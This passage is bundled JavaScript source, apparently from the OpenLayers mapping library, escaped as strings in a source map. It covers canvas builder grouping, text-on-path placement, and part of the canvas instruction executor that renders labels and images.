ImageBuilder from './ImageBuilder.js';\nimport LineStringBuilder from './LineStringBuilder.js';\nimport PolygonBuilder from './PolygonBuilder.js';\nimport TextBuilder from './TextBuilder.js';\n/**\n * @type {Object<import(\"../canvas.js\").BuilderType, typeof Builder>}\n */\nvar BATCH_CONSTRUCTORS = {\n 'Circle': PolygonBuilder,\n 'Default': Builder,\n 'Image': ImageBuilder,\n 'LineString': LineStringBuilder,\n 'Polygon': PolygonBuilder,\n 'Text': TextBuilder,\n};\nvar BuilderGroup = /** @class */ (function () {\n /**\n * @param {number} tolerance Tolerance.\n * @param {import(\"../../extent.js\").Extent} maxExtent Max extent.\n * @param {number} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n */\n function BuilderGroup(tolerance, maxExtent, resolution, pixelRatio) {\n /**\n * @private\n * @type {number}\n */\n this.tolerance_ = tolerance;\n /**\n * @private\n * @type {import(\"../../extent.js\").Extent}\n */\n this.maxExtent_ = maxExtent;\n /**\n * @private\n * @type {number}\n */\n this.pixelRatio_ = pixelRatio;\n /**\n * @private\n * @type {number}\n */\n this.resolution_ = resolution;\n /**\n * @private\n * @type {!Object<string, !Object<import(\"../canvas.js\").BuilderType, Builder>>}\n */\n this.buildersByZIndex_ = {};\n }\n /**\n * @return {!Object<string, !Object<import(\"../canvas.js\").BuilderType, import(\"./Builder.js\").SerializableInstructions>>} The serializable instructions\n */\n BuilderGroup.prototype.finish = function () {\n var builderInstructions = {};\n for (var zKey in this.buildersByZIndex_) {\n builderInstructions[zKey] = builderInstructions[zKey] || {};\n var builders = this.buildersByZIndex_[zKey];\n for (var builderKey in builders) {\n var builderInstruction = builders[builderKey].finish();\n builderInstructions[zKey][builderKey] = builderInstruction;\n }\n }\n return builderInstructions;\n };\n /**\n * @param {number|undefined} zIndex Z index.\n * @param {import(\"../canvas.js\").BuilderType} builderType Replay type.\n * @return {import(\"../VectorContext.js\").default} Replay.\n */\n BuilderGroup.prototype.getBuilder = function (zIndex, builderType) {\n var zIndexKey = zIndex !== undefined ? zIndex.toString() : '0';\n var replays = this.buildersByZIndex_[zIndexKey];\n if (replays === undefined) {\n replays = {};\n this.buildersByZIndex_[zIndexKey] = replays;\n }\n var replay = replays[builderType];\n if (replay === undefined) {\n var Constructor = BATCH_CONSTRUCTORS[builderType];\n replay = new Constructor(this.tolerance_, this.maxExtent_, this.resolution_, this.pixelRatio_);\n replays[builderType] = replay;\n }\n return replay;\n };\n return BuilderGroup;\n}());\nexport default BuilderGroup;\n//# sourceMappingURL=BuilderGroup.js.map","/**\n * @module ol/geom/flat/textpath\n */\nimport { lerp } from '../../math.js';\nimport { rotate } from './transform.js';\n/**\n * @param {Array<number>} flatCoordinates Path to put text on.\n * @param {number} offset Start offset of the `flatCoordinates`.\n * @param {number} end End offset of the `flatCoordinates`.\n * @param {number} stride Stride.\n * @param {string} text Text to place on the path.\n * @param {number} startM m along the path where the text starts.\n * @param {number} maxAngle Max angle between adjacent chars in radians.\n * @param {number} scale The product of the text scale and the device pixel ratio.\n * @param {function(string, string, Object<string, number>):number} measureAndCacheTextWidth Measure and cache text width.\n * @param {string} font The font.\n * @param {Object<string, number>} cache A cache of measured widths.\n * @param {number} rotation Rotation to apply to the flatCoordinates to determine whether text needs to be reversed.\n * @return {Array<Array<*>>|null} The result array (or null if `maxAngle` was\n * exceeded). Entries of the array are x, y, anchorX, angle, chunk.\n */\nexport function drawTextOnPath(flatCoordinates, offset, end, stride, text, startM, maxAngle, scale, measureAndCacheTextWidth, font, cache, rotation) {\n var x2 = flatCoordinates[offset];\n var y2 = flatCoordinates[offset + 1];\n var x1 = 0;\n var y1 = 0;\n var segmentLength = 0;\n var segmentM = 0;\n function advance() {\n x1 = x2;\n y1 = y2;\n offset += stride;\n x2 = flatCoordinates[offset];\n y2 = flatCoordinates[offset + 1];\n segmentM += segmentLength;\n segmentLength = Math.sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1));\n }\n do {\n advance();\n } while (offset < end - stride && segmentM + segmentLength < startM);\n var interpolate = segmentLength === 0 ? 0 : (startM - segmentM) / segmentLength;\n var beginX = lerp(x1, x2, interpolate);\n var beginY = lerp(y1, y2, interpolate);\n var startOffset = offset - stride;\n var startLength = segmentM;\n var endM = startM + scale * measureAndCacheTextWidth(font, text, cache);\n while (offset < end - stride && segmentM + segmentLength < endM) {\n advance();\n }\n interpolate = segmentLength === 0 ? 0 : (endM - segmentM) / segmentLength;\n var endX = lerp(x1, x2, interpolate);\n var endY = lerp(y1, y2, interpolate);\n // Keep text upright\n var reverse;\n if (rotation) {\n var flat = [beginX, beginY, endX, endY];\n rotate(flat, 0, 4, 2, rotation, flat, flat);\n reverse = flat[0] > flat[2];\n }\n else {\n reverse = beginX > endX;\n }\n var PI = Math.PI;\n var result = [];\n var singleSegment = startOffset + stride === offset;\n offset = startOffset;\n segmentLength = 0;\n segmentM = startLength;\n x2 = flatCoordinates[offset];\n y2 = flatCoordinates[offset + 1];\n var previousAngle;\n // All on the same segment\n if (singleSegment) {\n advance();\n previousAngle = Math.atan2(y2 - y1, x2 - x1);\n if (reverse) {\n previousAngle += previousAngle > 0 ? -PI : PI;\n }\n var x = (endX + beginX) / 2;\n var y = (endY + beginY) / 2;\n result[0] = [x, y, (endM - startM) / 2, previousAngle, text];\n return result;\n }\n // rendering across line segments\n text = text.replace(/\\n/g, ' '); // ensure rendering in single-line as all calculations below don't handle multi-lines\n for (var i = 0, ii = text.length; i < ii;) {\n advance();\n var angle = Math.atan2(y2 - y1, x2 - x1);\n if (reverse) {\n angle += angle > 0 ? -PI : PI;\n }\n if (previousAngle !== undefined) {\n var delta = angle - previousAngle;\n delta += delta > PI ? -2 * PI : delta < -PI ? 2 * PI : 0;\n if (Math.abs(delta) > maxAngle) {\n return null;\n }\n }\n previousAngle = angle;\n var iStart = i;\n var charLength = 0;\n for (; i < ii; ++i) {\n var index = reverse ? ii - i - 1 : i;\n var len = scale * measureAndCacheTextWidth(font, text[index], cache);\n if (offset + stride < end &&\n segmentM + segmentLength < startM + charLength + len / 2) {\n break;\n }\n charLength += len;\n }\n if (i === iStart) {\n continue;\n }\n var chars = reverse\n ? text.substring(ii - iStart, ii - i)\n : text.substring(iStart, i);\n interpolate =\n segmentLength === 0\n ? 0\n : (startM + charLength / 2 - segmentM) / segmentLength;\n var x = lerp(x1, x2, interpolate);\n var y = lerp(y1, y2, interpolate);\n result.push([x, y, charLength / 2, angle, chars]);\n startM += charLength;\n }\n return result;\n}\n//# sourceMappingURL=textpath.js.map","/**\n * @module ol/render/canvas/Executor\n */\nimport CanvasInstruction from './Instruction.js';\nimport { TEXT_ALIGN } from './TextBuilder.js';\nimport { WORKER_OFFSCREEN_CANVAS } from '../../has.js';\nimport { apply as applyTransform, compose as composeTransform, create as createTransform, setFromArray as transformSetFromArray, } from '../../transform.js';\nimport { createEmpty, createOrUpdate, intersects } from '../../extent.js';\nimport { defaultPadding, defaultTextAlign, defaultTextBaseline, drawImageOrLabel, getTextDimensions, measureAndCacheTextWidth, } from '../canvas.js';\nimport { drawTextOnPath } from '../../geom/flat/textpath.js';\nimport { equals } from '../../array.js';\nimport { lineStringLength } from '../../geom/flat/length.js';\nimport { transform2D } from '../../geom/flat/transform.js';\n/**\n * @typedef {Object} BBox\n * @property {number} minX Minimal x.\n * @property {number} minY Minimal y.\n * @property {number} maxX Maximal x.\n * @property {number} maxY Maximal y\n * @property {*} value Value.\n */\n/**\n * @typedef {Object} ImageOrLabelDimensions\n * @property {number} drawImageX DrawImageX.\n * @property {number} drawImageY DrawImageY.\n * @property {number} drawImageW DrawImageW.\n * @property {number} drawImageH DrawImageH.\n * @property {number} originX OriginX.\n * @property {number} originY OriginY.\n * @property {Array<number>} scale Scale.\n * @property {BBox} declutterBox DeclutterBox.\n * @property {import(\"../../transform.js\").Transform} canvasTransform CanvasTransform.\n */\n/**\n * @typedef {{0: CanvasRenderingContext2D, 1: number, 2: import(\"../canvas.js\").Label|HTMLImageElement|HTMLCanvasElement|HTMLVideoElement, 3: ImageOrLabelDimensions, 4: number, 5: Array<*>, 6: Array<*>}} ReplayImageOrLabelArgs\n */\n/**\n * @template T\n * @typedef {function(import(\"../../Feature.js\").FeatureLike, import(\"../../geom/SimpleGeometry.js\").default): T} FeatureCallback\n */\n/**\n * @type {import(\"../../extent.js\").Extent}\n */\nvar tmpExtent = createEmpty();\n/** @type {import(\"../../coordinate.js\").Coordinate} */\nvar p1 = [];\n/** @type {import(\"../../coordinate.js\").Coordinate} */\nvar p2 = [];\n/** @type {import(\"../../coordinate.js\").Coordinate} */\nvar p3 = [];\n/** @type {import(\"../../coordinate.js\").Coordinate} */\nvar p4 = [];\n/**\n * @param {ReplayImageOrLabelArgs} replayImageOrLabelArgs Arguments to replayImageOrLabel\n * @return {BBox} Declutter bbox.\n */\nfunction getDeclutterBox(replayImageOrLabelArgs) {\n return replayImageOrLabelArgs[3].declutterBox;\n}\nvar rtlRegEx = new RegExp(\n/* eslint-disable prettier/prettier */\n'[' +\n String.fromCharCode(0x00591) + '-' + String.fromCharCode(0x008ff) +\n String.fromCharCode(0x0fb1d) + '-' + String.fromCharCode(0x0fdff) +\n String.fromCharCode(0x0fe70) + '-' + String.fromCharCode(0x0fefc) +\n String.fromCharCode(0x10800) + '-' + String.fromCharCode(0x10fff) +\n String.fromCharCode(0x1e800) + '-' + String.fromCharCode(0x1efff) +\n ']'\n/* eslint-enable prettier/prettier */\n);\n/**\n * @param {string} text Text.\n * @param {string} align Alignment.\n * @return {number} Text alignment.\n */\nfunction horizontalTextAlign(text, align) {\n if ((align === 'start' || align === 'end') && !rtlRegEx.test(text)) {\n align = align === 'start' ? 'left' : 'right';\n }\n return TEXT_ALIGN[align];\n}\n/**\n * @param {Array<string>} acc Accumulator.\n * @param {string} line Line of text.\n * @param {number} i Index\n * @return {Array<string>} Accumulator.\n */\nfunction createTextChunks(acc, line, i) {\n if (i > 0) {\n acc.push('\\n', '');\n }\n acc.push(line, '');\n return acc;\n}\nvar Executor = /** @class */ (function () {\n /**\n * @param {number} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n * @param {boolean} overlaps The replay can have overlapping geometries.\n * @param {import(\"../canvas.js\").SerializableInstructions} instructions The serializable instructions\n */\n function Executor(resolution, pixelRatio, overlaps, instructions) {\n /**\n * @protected\n * @type {boolean}\n */\n this.overlaps = overlaps;\n /**\n * @protected\n * @type {number}\n */\n this.pixelRatio = pixelRatio;\n /**\n * @protected\n * @const\n * @type {number}\n */\n this.resolution = resolution;\n /**\n * @private\n * @type {boolean}\n */\n this.alignFill_;\n /**\n * @protected\n * @type {Array<*>}\n */\n this.instructions = instructions.instructions;\n /**\n * @protected\n * @type {Array<number>}\n */\n this.coordinates = instructions.coordinates;\n /**\n * @private\n * @type {!Object<number,import(\"../../coordinate.js\").Coordinate|Array<import(\"../../coordinate.js\").Coordinate>|Array<Array<import(\"../../coordinate.js\").Coordinate>>>}\n */\n this.coordinateCache_ = {};\n /**\n * @private\n * @type {!import(\"../../transform.js\").Transform}\n */\n this.renderedTransform_ = createTransform();\n /**\n * @protected\n * @type {Array<*>}\n */\n this.hitDetectionInstructions = instructions.hitDetectionInstructions;\n /**\n * @private\n * @type {Array<number>}\n */\n this.pixelCoordinates_ = null;\n /**\n * @private\n * @type {number}\n */\n this.viewRotation_ = 0;\n /**\n * @type {!Object<string, import(\"../canvas.js\").FillState>}\n */\n this.fillStates = instructions.fillStates || {};\n /**\n * @type {!Object<string, import(\"../canvas.js\").StrokeState>}\n */\n this.strokeStates = instructions.strokeStates || {};\n /**\n * @type {!Object<string, import(\"../canvas.js\").TextState>}\n */\n this.textStates = instructions.textStates || {};\n /**\n * @private\n * @type {Object<string, Object<string, number>>}\n */\n this.widths_ = {};\n /**\n * @private\n * @type {Object<string, import(\"../canvas.js\").Label>}\n */\n this.labels_ = {};\n }\n /**\n * @param {string|Array<string>} text Text.\n * @param {string} textKey Text style key.\n * @param {string} fillKey Fill style key.\n * @param {string} strokeKey Stroke style key.\n * @return {import(\"../canvas.js\").Label} Label.\n */\n Executor.prototype.createLabel = function (text, textKey, fillKey, strokeKey) {\n var key = text + textKey + fillKey + strokeKey;\n if (this.labels_[key]) {\n return this.labels_[key];\n }\n var strokeState = strokeKey ? this.strokeStates[strokeKey] : null;\n var fillState = fillKey ? this.fillStates[fillKey] : null;\n var textState = this.textStates[textKey];\n var pixelRatio = this.pixelRatio;\n var scale = [\n textState.scale[0] * pixelRatio,\n textState.scale[1] * pixelRatio,\n ];\n var textIsArray = Array.isArray(text);\n var align = textState.justify\n ? TEXT_ALIGN[textState.justify]\n : horizontalTextAlign(Array.isArray(text) ? text[0] : text, textState.textAlign || defaultTextAlign);\n var strokeWidth = strokeKey && strokeState.lineWidth ? strokeState.lineWidth : 0;\n var chunks = textIsArray\n ? text\n : text.split('\\n').reduce(createTextChunks, []);\n var _a = getTextDimensions(textState, chunks), width = _a.width, height = _a.height, widths = _a.widths, heights = _a.heights, lineWidths = _a.lineWidths;\n var renderWidth = width + strokeWidth;\n var contextInstructions = [];\n // make canvas 2 pixels wider to account for italic text width measurement errors\n var w = (renderWidth + 2) * scale[0];\n var h = (height + strokeWidth) * scale[1];\n /** @type {import(\"../canvas.js\").Label} */\n var label = {\n width: w < 0 ? Math.floor(w) : Math.ceil(w),\n height: h < 0 ? Math.floor(h) : Math.ceil(h),\n contextInstructions: contextInstructions,\n };\n if (scale[0] != 1 || scale[1] != 1) {\n contextInstructions.push('scale', scale);\n }\n if (strokeKey) {\n contextInstructions.push('strokeStyle', strokeState.strokeStyle);\n contextInstructions.push('lineWidth', strokeWidth);\n contextInstructions.push('lineCap', strokeState.lineCap);\n contextInstructions.push('lineJoin', strokeState.lineJoin);\n contextInstructions.push('miterLimit', strokeState.miterLimit);\n // eslint-disable-next-line\n var Context = WORKER_OFFSCREEN_CANVAS ? OffscreenCanvasRenderingContext2D : CanvasRenderingContext2D;\n if (Context.prototype.setLineDash) {\n contextInstructions.push('setLineDash', [strokeState.lineDash]);\n contextInstructions.push('lineDashOffset', strokeState.lineDashOffset);\n }\n }\n if (fillKey) {\n contextInstructions.push('fillStyle', fillState.fillStyle);\n }\n contextInstructions.push('textBaseline', 'middle');\n contextInstructions.push('textAlign', 'center');\n var leftRight = 0.5 - align;\n var x = align * renderWidth + leftRight * strokeWidth;\n var strokeInstructions = [];\n var fillInstructions = [];\n var lineHeight = 0;\n var lineOffset = 0;\n var widthHeightIndex = 0;\n var lineWidthIndex = 0;\n var previousFont;\n for (var i = 0, ii = chunks.length; i < ii; i += 2) {\n var text_1 = chunks[i];\n if (text_1 === '\\n') {\n lineOffset += lineHeight;\n lineHeight = 0;\n x = align * renderWidth + leftRight * strokeWidth;\n ++lineWidthIndex;\n continue;\n }\n var font = chunks[i + 1] || textState.font;\n if (font !== previousFont) {\n if (strokeKey) {\n strokeInstructions.push('font', font);\n }\n if (fillKey) {\n fillInstructions.push('font', font);\n }\n previousFont = font;\n }\n lineHeight = Math.max(lineHeight, heights[widthHeightIndex]);\n var fillStrokeArgs = [\n text_1,\n x +\n leftRight * widths[widthHeightIndex] +\n align * (widths[widthHeightIndex] - lineWidths[lineWidthIndex]),\n 0.5 * (strokeWidth + lineHeight) + lineOffset,\n ];\n x += widths[widthHeightIndex];\n if (strokeKey) {\n strokeInstructions.push('strokeText', fillStrokeArgs);\n }\n if (fillKey) {\n fillInstructions.push('fillText', fillStrokeArgs);\n }\n ++widthHeightIndex;\n }\n Array.prototype.push.apply(contextInstructions, strokeInstructions);\n Array.prototype.push.apply(contextInstructions, fillInstructions);\n this.labels_[key] = label;\n return label;\n };\n /**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {import(\"../../coordinate.js\").Coordinate} p1 1st point of the background box.\n * @param {import(\"../../coordinate.js\").Coordinate} p2 2nd point of the background box.\n * @param {import(\"../../coordinate.js\").Coordinate} p3 3rd point of the background box.\n * @param {import(\"../../coordinate.js\").Coordinate} p4 4th point of the background box.\n * @param {Array<*>} fillInstruction Fill instruction.\n * @param {Array<*>} strokeInstruction Stroke instruction.\n */\n Executor.prototype.replayTextBackground_ = function (context, p1, p2, p3, p4, fillInstruction, strokeInstruction) {\n context.beginPath();\n context.moveTo.apply(context, p1);\n context.lineTo.apply(context, p2);\n context.lineTo.apply(context, p3);\n context.lineTo.apply(context, p4);\n context.lineTo.apply(context, p1);\n if (fillInstruction) {\n this.alignFill_ = /** @type {boolean} */ (fillInstruction[2]);\n this.fill_(context);\n }\n if (strokeInstruction) {\n this.setStrokeStyle_(context, \n /** @type {Array<*>} */ (strokeInstruction));\n context.stroke();\n }\n };\n /**\n * @private\n * @param {number} sheetWidth Width of the sprite sheet.\n * @param {number} sheetHeight Height of the sprite sheet.\n * @param {number} centerX X.\n * @param {number} centerY Y.\n * @param {number} width Width.\n * @param {number} height Height.\n * @param {number} anchorX Anchor X.\n * @param {number} anchorY Anchor Y.\n * @param {number} originX Origin X.\n * @param {number} originY Origin Y.\n * @param {number} rotation Rotation.\n * @param {import(\"../../size.js\").Size} scale Scale.\n * @param {boolean} snapToPixel Snap to pixel.\n * @param {Array<number>} padding Padding.\n * @param {boolean} fillStroke Background fill or stroke.\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n * @return {ImageOrLabelDimensions} Dimensions for positioning and decluttering the image or label.\n */\n Executor.prototype.calculateImageOrLabelDimensions_ = function (sheetWidth, sheetHeight, centerX, centerY, width, height, anchorX, anchorY, originX, originY, rotation, scale, snapToPixel, padding, fillStroke, feature) {\n anchorX *= scale[0];\n anchorY *= scale[1];\n var x = centerX - anchorX;\n var y = centerY - anchorY;\n var w = width + originX > sheetWidth ? sheetWidth - originX : width;\n var h = height + originY > sheetHeight ? sheetHeight - originY : height;\n var boxW = padding[3] + w * scale[0] + padding[1];\n var boxH = padding[0] + h * scale[1] + padding[2];\n var boxX = x - padding[3];\n var boxY = y - padding[0];\n if (fillStroke || rotation !== 0) {\n p1[0] = boxX;\n p4[0] = boxX;\n p1[1] = boxY;\n p2[1] = boxY;\n p2[0] = boxX + boxW;\n p3[0] = p2[0];\n p3[1] = boxY + boxH;\n p4[1] = p3[1];\n }\n var transform;\n if (rotation !== 0) {\n transform = composeTransform(createTransform(), centerX, centerY, 1, 1, rotation, -centerX, -centerY);\n applyTransform(transform, p1);\n applyTransform(transform, p2);\n applyTransform(transform, p3);\n applyTransform(transform, p4);\n createOrUpdate(Math.min(p1[0], p2[0], p3[0], p4[0]), Math.min(p1[1], p2[1], p3[1], p4[1]), Math.max(p1[0], p2[0], p3[0], p4[0]), Math.max(p1[1], p2[1], p3[1], p4[1]), tmpExtent);\n }\n else {\n createOrUpdate(Math.min(boxX, boxX + boxW), Math.min(boxY, boxY + boxH), Math.max(boxX, boxX + boxW), Math.max(boxY, boxY + boxH), tmpExtent);\n }\n if (snapToPixel) {\n x = Math.round(x);\n y = Math.round(y);\n }\n return {\n drawImageX: x,\n drawImageY: y,\n drawImageW: w,\n drawImageH: h,\n originX: originX,\n originY: originY,\n declutterBox: {\n minX: tmpExtent[0],\n minY: tmpExtent[1],\n maxX: tmpExtent[2],\n maxY: tmpExtent[3],\n value: feature,\n },\n canvasTransform: transform,\n scale: scale,\n };\n };\n /**\n * @private\n * @param {CanvasRenderingContext2D} context Context.\n * @param {number} contextScale Scale of the context.\n * @param {import(\"../canvas.js\").Label|HTMLImageElement|HTMLCanvasElement|HTMLVideoElement} imageOrLabel Image.\n * @param {ImageOrLabelDimensions} dimensions Dimensions.\n * @param {number} opacity Opacity.\n * @param {Array<*>} fillInstruction Fill instruction.\n * @param {Array<*>} strokeInstruction Stroke instruction.\n * @return {boolean} The image or label was rendered.\n */\n Executor.prototype.replayImageOrLabel_ = function (context, contextScale, imageOrLabel, dimensions, opacity, fillInstruction, strokeInstruction) {\n var fillStroke = !!(fillInstruction || strokeInstruction);\n var box = dimensions.declutterBox;\n var canvas = context.canvas;\n var strokePadding = strokeInstruction\n ? (strokeInstruction[2] * dimensions.scale[0]) / 2\n : 0;\n var intersects = box.minX - strokePadding <= canvas.width / contextScale &&\n box.maxX + strokePadding >= 0 &&\n box.minY - strokePadding <= canvas.height / contextScale &&\n box.maxY + strokePadding >= 0;\n if (intersects) {\n if (fillStroke) {\n this.replayTextBackground_(context, p1, p2, p3, p4, \n /** @type {Array<*>} */ (fillInstruction), \n /** @type {Array<*>} */ (strokeInstruction));\n }\n drawImageOrLabel(context, dimensions.canvasTransform, opacity, imageOrLabel, dimensions.originX, dimensions.originY, dimensions.drawImageW, dimensions.drawImageH, dimensions.drawImageX, dimensions.drawImageY, dimensions.scale);\n }\n return true;\n };\n /**\n * @private\n * @param {CanvasRenderingContext2D} context Context.\n */\n Executor.prototype.fill_ = function (context) {\n if (this.alignFill_) {\n var origin_1 = applyTransform(this.renderedTransform_, [0, 0]);\n var repeatSize = 512 * this.pixelRatio;\n context.save();\n context.translate(origin_1[0] % repeatSize, origin_1[1] % repeatSize);\n context.rotate(this.viewRotation_);\n }\n context.fill();\n if (this.alignFill_) {\n context.restore();\n }\n };\n /**\n * @private\n * @param {CanvasRenderingContext2D} context Context.\n * @param {Array<*>} instruction Instruction.\n */\n Executor.prototype.setStrokeStyle_ = function (context, instruction) {\n context['strokeStyle'] =\n /** @type {import(\"../../colorlike.js\").ColorLike} */ (instruction[1]);\n context.lineWidth = /** @type {number} */ (instruction[2]);\n context.lineCap = /** @type {CanvasLineCap} */ (instruction[3]);\n context.lineJoin = /** @type {CanvasLineJoin} */ (instruction[4]);\n context.miterLimit = /** @type {number} */ (instruction[5]);\n if (context.setLineDash) {\n context.lineDashOffset = /** @type {number} */ (instruction[7]);\n context.setLineDash(/** @type {Array<number>} */ (instruction[6]));\n }\n };\n /**\n * @private\n * @param {string|Array<string>} text The text to draw.\n * @param {string} textKey The key of the text state.\n * @param {string} strokeKey The key for the stroke state.\n * @param {string} fillKey The key for the fill state.\n * @return {{label: import(\"../canvas.js\").Label, anchorX: number, anchorY: number}} The text image and its anchor.\n */\n Executor.prototype.drawLabelWithPointPlacement_ = function (text, textKey, strokeKey, fillKey) {\n var textState = this.textStates[textKey];\n var label = this.createLabel(text, textKey, fillKey, strokeKey);\n var strokeState = this.strokeStates[strokeKey];\n var pixelRatio = this.pixelRatio;\n var align = horizontalTextAlign(Array.isArray(text) ? text[0] : text, textState.textAlign || defaultTextAlign);\n var baseline = TEXT_ALIGN[textState.textBaseline || defaultTextBaseline];\n var strokeWidth = strokeState && strokeState.lineWidth ? strokeState.lineWidth : 0;\n // Remove the 2 pixels we added in createLabel() for the anchor\n var width = label.width / pixelRatio - 2 * textState.scale[0];\n var anchorX = align * width + 2 * (0.5 - align) * strokeWidth;\n var anchorY = (baseline * label.height) / pixelRatio +\n 2 * (0.5 - baseline) * strokeWidth;\n return {\n label: label,\n anchorX: anchorX,\n anchorY: anchorY,\n };\n };\n /**\n * @private\n * @param {CanvasRenderingContext2D} context Context.\n * @param {number} contextScale Scale of the context.\n * @param {import(\"../../transform.js\").Transform} transform Transform.\n * @param {Array<*>} instructions Instructions array.\n * @param {boolean} snapToPixel Snap point symbols and text to integer pixels.\n * @param {FeatureCallback<T>} [opt_featureCallback] Feature callback.\n * @param {import(\"../../extent.js\").Extent} [opt_hitExtent] Only check\n * features that intersect this extent.\n * @param {import(\"rbush\").default} [opt_declutterTree] Declutter tree.\n * @return {T|undefined} Callback result.\n * @template T\n */\n Executor.prototype.execute_ = function (context, contextScale, transform, instructions, snapToPixel, opt_featureCallback, opt_hitExtent, opt_declutterTree) {\n /** @type {Array<number>} */\n var pixelCoordinates;\n if (this.pixelCoordinates_ && equals(transform, this.renderedTransform_)) {\n pixelCoordinates = this.pixelCoordinates_;\n }\n else {\n if (!this.pixelCoordinates_) {\n this.pixelCoordinates_ = [];\n }\n pixelCoordinates = transform2D(this.coordinates, 0, this.coordinates.length, 2, transform, this.pixelCoordinates_);\n transformSetFromArray(this.renderedTransform_, transform);\n }\n var i = 0; // instruction index\n var ii = instructions.length; // end of instructions\n var d = 0; // data index\n var dd; // end of per-instruction data\n var anchorX, anchorY, prevX, prevY, roundX, roundY, image, text, textKey, strokeKey, fillKey;\n var pendingFill = 0;\n var pendingStroke = 0;\n var lastFillInstruction = null;\n var lastStrokeInstruction = null;\n var coordinateCache = this.coordinateCache_;\n var viewRotation = this.viewRotation_;\n var viewRotationFromTransform = Math.round(Math.atan2(-transform[1], transform[0]) * 1e12) / 1e12;\n var state = /** @type {import(\"../../render.js\").State} */ ({\n context: context,\n pixelRatio: this.pixelRatio,\n resolution: this.resolution,\n rotation: viewRotation,\n });\n // When the batch size gets too big, performance decreases. 200 is a good\n // balance between batch size and number of fill/stroke instructions.\n var batchSize = this.instructions != instructions || this.overlaps ? 0 : 200;\n var /** @type {import(\"../../Feature.js\").FeatureLike} */ feature;\n var x, y, currentGeometry;\n while (i < ii) {\n var instruction = instructions[i];\n var type = /** @type {import(\"./Instruction.js\").default} */ (instruction[0]);\n switch (type) {\n case CanvasInstruction.BEGIN_GEOMETRY:\n feature = /** @type {import(\"../../Feature.js\").FeatureLike} */ (instruction[1]);\n currentGeometry = instruction[3];\n if (!feature.getGeometry()) {\n i = /** @type {number} */ (instruction[2]);\n }\n else if (opt_hitExtent !== undefined &&\n !intersects(opt_hitExtent, currentGeometry.getExtent())) {\n i = /** @type {number} */ (instruction[2]) + 1;\n }\n else {\n ++i;\n }\n break;\n case CanvasInstruction.BEGIN_PATH:\n if (pendingFill > batchSize) {\n this.fill_(context);\n pendingFill = 0;\n }\n if (pendingStroke > batchSize) {\n context.stroke();\n pendingStroke = 0;\n }\n if (!pendingFill && !pendingStroke) {\n context.beginPath();\n prevX = NaN;\n prevY = NaN;\n }\n ++i;\n break;\n case CanvasInstruction.CIRCLE:\n d = /** @type {number} */ (instruction[1]);\n var x1 = pixelCoordinates[d];\n var y1 = pixelCoordinates[d + 1];\n var x2 = pixelCoordinates[d + 2];\n var y2 = pixelCoordinates[d + 3];\n var dx = x2 - x1;\n var dy = y2 - y1;\n var r = Math.sqrt(dx * dx + dy * dy);\n context.moveTo(x1 + r, y1);\n context.arc(x1, y1, r, 0, 2 * Math.PI, true);\n ++i;\n break;\n case CanvasInstruction.CLOSE_PATH:\n context.closePath();\n ++i;\n break;\n case CanvasInstruction.CUSTOM:\n d = /** @type {number} */ (instruction[1]);\n dd = instruction[2];\n var geometry = \n /** @type {import(\"../../geom/SimpleGeometry.js\").default} */ (instruction[3]);\n var renderer = instruction[4];\n var fn = instruction.length == 6 ? instruction[5] : undefined;\n state.geometry = geometry;\n state.feature = feature;\n if (!(i in coordinateCache)) {\n coordinateCache[i] = [];\n }\n var coords = coordinateCache[i];\n if (fn) {\n fn(pixelCoordinates, d, dd, 2, coords);\n }\n else {\n coords[0] = pixelCoordinates[d];\n coords[1] = pixelCoordinates[d + 1];\n coords.length = 2;\n }\n renderer(coords, state);\n ++i;\n break;\n case CanvasInstruction.DRAW_IMAGE:\n d = /** @type {number} */ (instruction[1]);\n dd = /** @type {number} */ (instruction[2]);\n image =\n /** @type {HTMLCanvasElement|HTMLVideoElement|HTMLImageElement} */ (instruction[3]);\n // Remaining arguments in DRAW_IMAGE are in alphabetical order\n anchorX = /** @type {number} */ (instruction[4]);\n anchorY = /** @type {number} */ (instruction[5]);\n var height = /** @type {number} */ (instruction[6]);\n var opacity = /** @type {number} */ (instruction[7]);\n var originX = /** @type {number} */ (instruction[8]);\n var originY = /** @type {number} */ (instruction[9]);\n var rotateWithView = /** @type {boolean} */ (instruction[10]);\n var rotation = /** @type {number} */ (instruction[11]);\n var scale = /** @type {import(\"../../size.js\").Size} */ (instruction[12]);\n var width = /** @type {number} */ (instruction[13]);\n var declutterMode = \n /** @type {\"declutter\"|\"obstacle\"|\"none\"|undefined} */ (instruction[14]);\n var declutterImageWithText = \n /** @type {import(\"../canvas.js\").DeclutterImageWithText} */ (instruction[15]);\n if (!image && instruction.length >= 20) {\n // create label images\n text = /** @type {string} */ (instruction[19]);\n textKey = /** @type {string} */ (instruction[20]);\n strokeKey = /** @type {string} */ (instruction[21]);\n fillKey = /** @type {string} */ (instruction[22]);\n var labelWithAnchor = this.drawLabelWithPointPlacement_(text, textKey, strokeKey, fillKey);\n image = labelWithAnchor.label;\n instruction[3] = image;\n var textOffsetX = /** @type {number} */ (instruction[23]);\n anchorX = (labelWithAnchor.anchorX - textOffsetX) * this.pixelRatio;\n instruction[4] = anchorX;\n var textOffsetY = /** @type {number} */ (instruction[24]);\n anchorY = (labelWithAnchor.anchorY - textOffsetY) * this.pixelRatio;\n instruction[5] = anchorY;\n height = image.height;\n instruction[6] = height;\n width = image.width;\n instruction[13] = width;\n }\n var geometryWidths = void 0;\n if (instruction.length > 25) {\n geometryWidths = /** @type {number} */ (instruction[25]);\n }\n var padding = void 0, backgroundFill = void 0, backgroundStroke = void 0;\n if (instruction.length > 17) {\n padding = /** @type {Array<number>} */ (instruction[16]);\n backgroundFill = /** @type {boolean} */ (instruction[17]);\n backgroundStroke = /** @type {boolean} */ (instruction[18]);\n }\n else {\n padding = defaultPadding;\n backgroundFill = false;\n backgroundStroke = false;\n }\n if (rotateWithView && viewRotationFromTransform) {\n // Canvas is expected to be rotated to reverse view rotation.\n rotation += viewRotation;\n }\n else if (!rotateWithView && !viewRotationFromTransform) {\n // Canvas is not rotated, images need to be rotated back to be north-up.\n rotation -= viewRotation;\n }\n var widthIndex = 0;\n for (; d < dd; d += 2) {\n if (geometryWidths &&\n geometryWidths[widthIndex++] < width / this.pixelRatio) {\n continue;\n }\n var dimensions = this.calculateImageOrLabelDimensions_(image.width, image.height, pixelCoordinates[d], pixelCoordinates[d + 1], width, 